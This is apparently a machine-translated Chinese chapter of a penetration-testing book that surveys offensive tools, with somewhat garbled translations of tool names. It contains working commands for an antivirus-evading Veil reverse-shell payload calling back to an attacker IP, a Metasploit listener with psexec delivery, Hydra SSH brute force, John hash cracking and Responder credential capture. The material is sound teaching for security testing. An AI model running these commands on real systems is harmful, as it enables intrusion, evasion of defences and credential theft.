请记住,Metasploit Pro 中的 IPS 旁路工具内置了许多不同的规避方法。其中一个特点是每次攻击代码的结构都略有不同。因此,如果 IPS 旁路一次失败,它可能会在同一主机上再次运行,只需重新运行它。这并不意味着如果你运行了 10 次,如果前 9 次失败,你将在第 10 次得到正确的结果。因此,请注意并了解与psexec相关的错误消息以及系统的开发。

如果需要,可以从 Metasploit 运行整个评估;这不是建议的,但该工具正是如此强大。Metasploit 是模块化的;事实上,Metasploit 中的组件称为模块。模块分为以下几类:

  • 辅助模块
  • 利用模块
  • Post 模块
  • 有效载荷模块
  • NOP 模块
  • 编码器模块

辅助模块包括扫描仪、暴力工具、漏洞评估工具和服务器模拟器。漏洞利用就是可以运行来利用接口服务或其他解决方案的工具。Post 模块用于提升权限、提取数据或与系统上的当前用户交互。有效载荷提供了一种封装的交付工具,一旦获得对系统的访问,就可以使用该工具。配置漏洞利用模块时,通常必须配置有效负载模块,以便返回 shell。

无操作NOP模块生成对特定硬件架构不做任何操作的操作。这些在创建或修改漏洞利用时非常有用。Metasploit 中的最后一种模块类型是编码器模块。对于编码器以及它们的用途存在着巨大的误解。实际情况是,它们用于通过更改有效负载的结构来删除某些类型的字符,从而使有效负载的执行更加可靠。这将重新格式化原始有效载荷的操作代码,使有效载荷更大,有时甚至更大。

偶尔,有效负载结构的这种变化意味着它将绕过严格依赖于特定签名的 IP。这导致许多评估人员相信编码是用于绕过防病毒的;这只是编码的副产品,而不是目的。如今,编码很少绕过企业级 IPS 解决方案。其他产品,如面纱,提供了一个更合适的解决方案,这个泥潭。由于大多数漏洞利用都可以引用外部有效负载,因此即使您使用的是 Metasploit 的 Pro 版本,也最好使用像 Veil 这样的外部解决方案。有时 Metasploit Pro 的 IPS 旁路功能将不起作用;在此期间,可能需要其他工具。Metasploit 将在本书的其他章节中详细介绍。

面纱

此防病毒规避套件具有多种生成有效负载的方法。这些有效负载类型利用了经验丰富的评估人员和恶意参与者多年来手动使用的方法。该包括使用高级加密标准AES对有效载荷进行加密、编码和随机变量名。然后,可以将这些细节包装在 PowerShell 或 Python 脚本中,以使生活更加轻松。

VIEL 可以通过命令行界面CLI)或类似于 Metasploit 的控制台启动。例如,以下命令显示了创建 PyInjector 漏洞的 CLI 的用法,该漏洞可拨回端口 80 上的侦听主机;如果您希望测试此项,请确保将“您的 IP”替换为您的实际 IP。

./Veil.py -l python -p AESVirtualAlloc -o \
python_payload --msfpayload \
windows/Meterpreter/reverse_tcp --msfoptions \
LHOST=yourIP LPORT=80

现在,继续启动 Metasploit 控制台,并使用以下命令启动侦听器。这将启动控制台;确保等待它启动。此外,它在您的主机上设置了一个侦听器,因此请确保用实际的 IP 地址替换“yourIP”。侦听器将在后台运行,等待返回的会话。

msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lport 80
set lhost yourIP
exploit -j

将有效负载移到目标 Windows 系统并运行有效负载。只要没有配置问题,侦听主机的端口 80 上没有运行其他服务,并且没有任何东西阻止受攻击主机和侦听器之间到端口 80 的连接,您就应该看到在 Kali 主机上生成的会话。

那么,如果您有这些定制的漏洞利用,那么如何将它们用于真正的 Metasploit 漏洞利用呢?很简单,只需调整变量以指向它们。下面是一个使用 Metasploit 中的psexec模块的示例。确保将 targetIP 更改为目标 Windows 系统。设置系统本地管理员的用户名和系统本地管理员的密码。最后,将自定义的EXE路径设置为您的python_paload.exe和,您应该会看到在侦听器上生成的 shell。

use exploit/windows/smb/psexec
set rhost targetIP
set SMBUser username
set password password
set EXE::Custom /path/to/your/python_payload.exe
exploit -j

打嗝套装

Burp Suite 是透明代理的标准,或者是用于直接交互和处理从浏览器发送到浏览器的 web 流量流的工具。该工具有一个 pro 版本,它添加了一个体面的 web 漏洞扫描器。使用时应小心,因为它可能会导致论坛、电子邮件和交互的多次提交。

同样的道理也可以用它的 Spider 工具来解释,它与范围广泛的 web 应用进行交互,并将它们映射为类似于 Google 和 Bing 这样的网络爬虫。确保当您使用这些工具时,您首先禁用自动提交和登录,直到您更好地理解应用。更多关于 Burp 和类似 web 工具的信息将在第 6 章使用 Python 评估 web 应用中介绍。其他类似工具包括Zed 攻击代理ZAP),该工具现在还包含名为 DirBuster 的未链接文件夹和文件研究工具。

九头蛇

Hydra 是一种服务或接口字典攻击工具,可以识别可能提供访问的可行凭证。Hydra 是多线程的,这意味着它可以通过串联的多个猜测来评估服务,从而大大加快了攻击和产生的噪音。例如,以下命令可用于攻击 IP 地址为192.168.1.10的主机上的安全外壳****SSH服务:

hydra -L logins.txt -P passwords.txt -f -V 192.168.1.10 ssh

此命令使用用户名列表和密码列表,在第一次成功时退出,并显示尝试的每个登录组合。如果您只想测试一个用户名和密码,那么命令将分别更改为使用小写字母lp。相应的命令如下:

hydra -l root -p root -f -V 192.168.1.10 ssh

Hydra 还能够对服务和网站的身份验证接口进行暴力攻击。行业中还有许多其他工具具有类似的功能,但大多数评估人员使用 Hydra,因为它具有广泛的功能和协议支持。有时 Hydra 不符合要求,但通常其他工具也不能满足需要。发生这种情况时,我们应该考虑创建 Python 脚本。有关凭证攻击的其他详细信息,请参见第 4 章使用 Python执行凭证攻击。

开膛手约翰

开膛手约翰JtR)或大多数人称之为约翰的开膛手约翰是市场上最好的饼干之一,可以攻击盐和非盐的哈希。John 最大的好处之一是它可以与大多数散列一起使用。John 能够从标准输出和文件格式中识别哈希类型。如果通过只提供散列文件而不提供参数的方式在本地运行,John 将尝试使用其标准方法破解散列。这首先是在单裂纹模式下尝试的,然后是单词列表模式,最后是增量模式。

提示

下载示例代码

您可以从您的账户下载示例代码文件 http://www.packtpub.com 对于您购买的所有 Packt 出版书籍。如果您在其他地方购买了本书,您可以访问http://www.packtpub.com/support 并注册,将文件直接通过电子邮件发送给您。

salt 是经过编码以产生相对随机字符的伪随机数生成器PRNG的输出。salt 被注入到对密码进行散列的过程中,这意味着每次对密码进行散列时,都会以不同的格式进行。然后,salt 与散列一起存储,以便在身份验证期间输入的凭据的比较算法能够发挥作用,因为输入凭据需要具有相同的 salt 才能生成相同的散列。这为哈希算法增加了额外的熵,从而提供了额外的安全性并减轻了大多数彩虹表攻击。

单个破解攻击从散列文件中获取信息,篡改明文,然后将详细信息与其他一些规则集一起用作密码。单词列表模式就是这样;它使用默认的单词列表。最后,在蛮力格式攻击中,增量模式贯穿每个角色的可能性。如果您确实需要相对增量或暴力模式攻击,最好使用运行 oclHashcat 的独立破解服务器。

密码破解程序采用以下两种方法之一:获取测试密码并实时对其进行散列,或者获取预计算的散列并将其与测试散列进行比较。实时散列攻击允许评估员破解在原始散列过程中加盐或未加盐的密码。预计算哈希攻击的优点是速度快得多,但除非在预计算期间知道 salt,否则它们无法抵抗 salt 密码。预计算攻击使用称为彩虹表的链表。实时密码攻击使用字典或单词列表,这些字典或单词列表可能会在每个字符位置使用不同的字符集进行实时变异或递增。这分别描述字典攻击和暴力攻击。

以下是针对hash文件运行John的示例,如果hashfile位于John文件夹中,则从该文件夹中运行John

./john hashfile

要针对hashfile在单一模式下运行John,请运行以下命令:

./john --single hashfile

要像运行单词列表一样运行John,请使用以下命令:

./john --wordlist=password_list hashfile

您可以通过同时运行规则以本机方式排列和替换字符。

./john --wordlist=password_list --rules hashfile

John 真正的能力来自于能够在大多数系统的约定中使用,具有强大的排列规则,并且非常用户友好。John 擅长破解大多数标准操作系统密码哈希。它还可以以一种易于与用户名和原始哈希匹配的格式轻松地表示细节。

与 John 相比,oclHashcat 不具备以简单格式将破解细节与原始数据匹配的原生能力。这使得提供与唯一散列相关的密码破解统计信息变得更加困难。当所提供的散列可以从多个来源提取并绑定到同一个帐户,因为它们可以用不同的盐进行调整时,这一点尤其正确。请记住这一点,因为大多数组织都希望在最终报告中包含破解统计数据。

以下命令演示如何使用 John 显示密码破解结果:

./john --show hashfile

John 的独特功能之一是能够从单词列表生成置换密码,这有助于构建可靠的破解列表,尤其是与 Cewl 一起使用时。下面是一个示例,说明如何使用 John 创建一个仅包含唯一单词的置换密码列表:

./john --wordlist=my_words --rules --stdout | unique my_words_new

与 John 破解 Windows 密码

使用 John 的最大好处是破解以局域网局域网)管理器(MAN)或(LM)格式散列的密码。LM 散列是一种弱散列形式,可以存储长达 14 个字符的密码。密码分为两个部分,每个部分的长度最多为七个字符,且为大写格式。在破解这种类型的散列时,必须破解已有的 LM 散列,以便在适当的情况下将大写密码的两个组成部分转换为单个密码。

我们通过破解 LM 散列,然后使用破解后的密码,并通过 John 将其作为启用了排列规则的单词列表来运行。这意味着密码将被用作以不同格式攻击新技术 LMNTLM)散列的单词。这使得 NTLM 散列的破解速度大大加快,而 NTLM 散列的破解能力要强得多。这个可以通过一个名为LM2NTCRACK的 Perl 脚本相对自动地完成,但您也可以通过 John 手动完成,并取得了巨大的成功。

您可以使用您喜欢的密码从网站(如中)创建测试哈希 http://www.tobtu.com/lmntlm.php 。我从 test 的密码生成了一个 pwdump 格式,并将用户名改为 Administrator。

Administrator:500:01FC5A6BE7BC6929AAD3B435B51404EE:0CB6948805F797BF2A82807973B89537:::

确保将复制的密码作为一行使用,并将其放入文件中。以下命令是基于hash文件名为hashfile并已放置在运行测试的John目录中的思想而设计的。

./john --format=lm hashfile

一旦密码被破解,您可以直接从输出中复制密码,并将其放入名为my_wordlist的新文件中。您还可以使用已演示的命令显示破解哈希中的密码。将密码放入文件的一种简单方法是将echo重定向到文件中。

echo TEST > my_wordlist

现在,使用此单词列表执行字典攻击,并对输入数据运行规则来排列单词。这将允许您找到正确大小写的密码。

./john -rules --format=nt --wordlist=my_wordlist hashfile

下面的屏幕截图突出显示了使用前面描述的技术破解此哈希:

Cracking Windows passwords with John

奥勒哈什卡特

如果您有一个专用的密码破解工具或一个带有强大的图形处理单元GPU)的系统,oclHashcat 是一个不错的选择。该工具可以快速破解密码散列,利用疯狂的处理能力,提供给合适的受众。需要记住的一件大事是,oclHashcat 不像开膛手约翰那样简单直观,但它具有强大的蛮力能力。该工具能够配置通配符,这意味着破解密码的动态机制可能非常具体。

提示

支持无 GPU 破解的 oclHashcat 版本称为 Hashcat。这个破解工具在密码破解方面很快就超过了 John,但使用起来需要更多的研究和培训。当你获得经验时,你应该使用 Hashcat 或 oclHashcat 进行破解。

裂纹

这个工具是最著名的引导盘攻击工具,但它也可以作为独立的彩虹破解工具使用。Ophcrack 可以直接刻录到可引导的通用串行总线USB)驱动器或光盘CD)。当将放置在没有全磁盘加密FDE的 Windows 系统中时,该工具将从操作系统中提取哈希值。这是通过引导到 LiveOS 或在内存中运行的 OS 来实现的。该工具将尝试用基本的表来破解散列。大多数情况下,这些表都会失败,但哈希本身可以通过 SSH 安全地从主机复制到攻击框中。然后可以使用 John 或 oclHashcat 等工具脱机破解这些散列。

咪咪卡茨和隐姓埋名

这些工具都可以在 MeterMeter 会话中本机工作,并且每个工具都提供了在 Windows 主机上交互和利用会话的方法。Incognito 允许评估员通过模拟用户缓存的凭证与内存中的令牌交互。Mimikatz 允许评估员直接提取存储在内存中的凭证,这意味着用户名和密码直接公开。Mimikatz 还有另外一种能力,可以针对 sysdump 等工具离线产生的内存转储运行。

提示

Mimikatz 有很多版本,MeterMeter 中的一个就是我们在本书中介绍的例子。

SMBexec

这个工具是用 Ruby 开发的一套工具,它结合使用 PtH 攻击、Mimikatz 和散列转储来利用网络。SMBexec 使接管网络变得非常容易,因为它提供了一个控制台接口,只需要初始哈希、用户名或凭据对以及网络范围。该工具将自动尝试访问资源、提取内存中任何凭据的详细信息、缓存的详细信息和存储的哈希。SMBexec 的缺点是 Ruby Gem 的不一致性会导致该工具易变,并会导致其他工具(如 Metasploit)甚至整个 Kali 实例崩溃。如果要使用 SMBexec,请始终创建一个单独的 VM,并具有运行此工具的特定目标。

Cewl

Cewl 是一个 web 爬网工具,它解析站点中的单词,唯一地标识它们的实例,并将它们输出到文件中。在开发定制的目标密码列表时,Cewl 等工具非常有用。Cewl 有许多功能,包括针对细节的定向搜索,以及对工具挖掘深度的限制。Cewl 是基于 Ruby 的,通常与 SMBexec 和其他 Ruby 产品使用 Gems 时遇到的问题相同。

响应者

响应者是一个 Python 脚本,它通过Web 代理自动发现WPAD的错误配置,为评估者提供将代理请求重定向到攻击者系统的能力。它还可以接收网络 NTLM 或 NTLMv2 质询响应哈希。这是通过利用本机启用的本地链路多播名称请求****LLMNR网络基本输入输出系统NetBIOS名称服务****NB-NS实现的。

应答器的使用非常简单;用户所要做的就是在与其目标相同的广播域内的网络上。执行以下命令将在用户的 Internet Explorer 会话中创建一个弹出窗口。它将请求他/她的域凭据以允许他/她继续前进;此攻击还意味着针对 LLMNR 和 NB-NS 请求的攻击将提供受 NTLMv2 保护的哈希。确保您将“您的 IP”与实际 IP 地址交换。

python Responder.py -I yourIP -w -r -f -v -F

您还可以强制 web 会话返回基本身份验证,而不是 NTLM 响应。当 WPAD 看起来已经在环境中得到缓解时,这非常有用。这意味着您通常会收到针对 LLMNR 和 NB-NS 请求的攻击产生的 NTLMv2 质询响应哈希。

python Responder.py -I yourIP -r -f -v -b

响应者攻击已成为大多数内部评估的主要内容。WPAD、LLMNR 和 NB-NS 在大多数环境中都是严重的错误配置,应尽可能进行评估。这些漏洞通常由评估人员和恶意参与者操纵。

收割机和侦察机

这些工具特别侧重于识别与开源情报OSIT收集相关的数据。theHarvester 工具是基于 Python 的,在从搜索引擎和社交媒体中查找细节方面做得很好,但 Recon NG 是领域的新手。Recon NG 是一个基于控制台的框架,也是用 Python 创建的,它可以查询许多信息存储库。这种扩展的能力意味着侦察通常是评估人员现在使用的第一个工具。Recon NG 没有更换收割机,但收割机通常不使用,除非 Recon NG 没有找到足够的细节。

pwdump 和 fgdump

与大多数工具(如 Mimikatz)相比,这些工具是旧的,但它们在行业中是众所周知的,许多密码破解工具都基于其输出格式。事实上,Metasploit 的hashdumpsmart_hashdump输出系统散列,即所谓的pwdump格式。这些散列可以直接从放置在文件中的会话中提取,并使用前面提供的本机命令示例在John中运行。

网猫

Netcat 或网络连接,也称为nc,是最古老的评估和管理工具之一。它通过提供 IP 地址、端口和协议直接与端口和服务交互。它还可以在主机之间传输文件和建立会话。由于该工具的所有功能,它通常被称为数字瑞士军刀,供评估员和管理员使用。

提示

SANS Institute 为 netcat 提供了一份精彩的备忘单,其中突出了其大部分功能,可在以下 URL 上找到:

http://pen-testing.sans.org/retrieve/netcat-cheat-sheet.pdf

系统内部工具

此工具套件最初由德克萨斯州奥斯汀的 Wininternals Software LP 开发。这些工具为管理员和其他专业人员提供了在大型域中处理、维护和控制 Windows 系统的能力。这些工具提供的功能不是本机内置在 Windows 中的;微软认识到了这一点,并于 2006 年收购了该公司。这些工具是免费的,并向公众开放,应该注意的是,许多黑客工具都是基于这个套件中最初创建的概念构建的。

此套件中使用的一些工具示例包括procdump转储内存和提取凭证。psexec工具执行 PtH 或执行远程进程执行以与远程主机建立会话,并提供与pskillpslist的进程交互和列表功能。应该注意的是,这些工具是由管理员使用的,通常是白名单。因此,尽管许多黑客工具被 IP 阻止,但通常情况下并非如此。因此,当所有其他功能都失败时,请始终像恶意管理员一样思考,因为利用这些功能是大多数恶意参与者所做工作的关键。

总结

本章重点讨论和定义渗透测试以及为什么需要渗透测试。在此定义的基础上,描述了 PTES 框架,该框架为新的评估员提供了在实际参与情况下构建其知识的方法。为了验证这一知识,我们探索了一个示例参与是如何在主要执行阶段发生的。最后,列出并解释了各种评估中使用的主要工具,其中许多工具将在以下章节中用实际例子进一步解释。现在,您已经了解了渗透测试及其方法,我们将开始学习 Python 的功能有多强大,以及启动和运行 Python 有多容易。